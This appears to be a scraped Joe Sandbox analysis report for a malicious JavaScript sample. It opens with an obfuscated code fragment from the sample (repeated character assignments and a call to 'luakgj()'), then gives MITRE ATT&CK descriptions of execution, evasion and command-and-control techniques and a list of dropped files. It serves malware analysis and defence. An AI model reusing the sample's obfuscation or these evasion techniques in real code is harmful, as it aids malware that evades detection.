1245	ousadnnm = "z";
1246	ousadnnm = "s";
1247	ousadnnm = "I";
1248	ousadnnm = "Y";
1249	ousadnnm = "G";
1250	ousadnnm = "x";
1251	ousadnnm = "A";
1252	ousadnnm = "B";
1253	ousadnnm = "T";
1254	ousadnnm = "l";
1255	ousadnnm = "J";
1256	ousadnnm = "C";
1257	ousadnnm = "p";
1258	ousadnnm = "E";
1259	ousadnnm = "B";
1260	ousadnnm = "c";
1261	ousadnnm = "j";
1262	ousadnnm = "D";
1263	ousadnnm = "w";
1264	ousadnnm = "Y";
1265	ousadnnm = "k";
1266	ousadnnm = "t";
1267	ousadnnm = "W";
1268	ousadnnm = "R";
1269	ousadnnm = "Q";
1270	luakgj ( );	luakgj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 206038195771531175.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1d122c4c-0248-4a69-87b5-623f8e175935.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2088

Windows Analysis Report
206038195771531175.js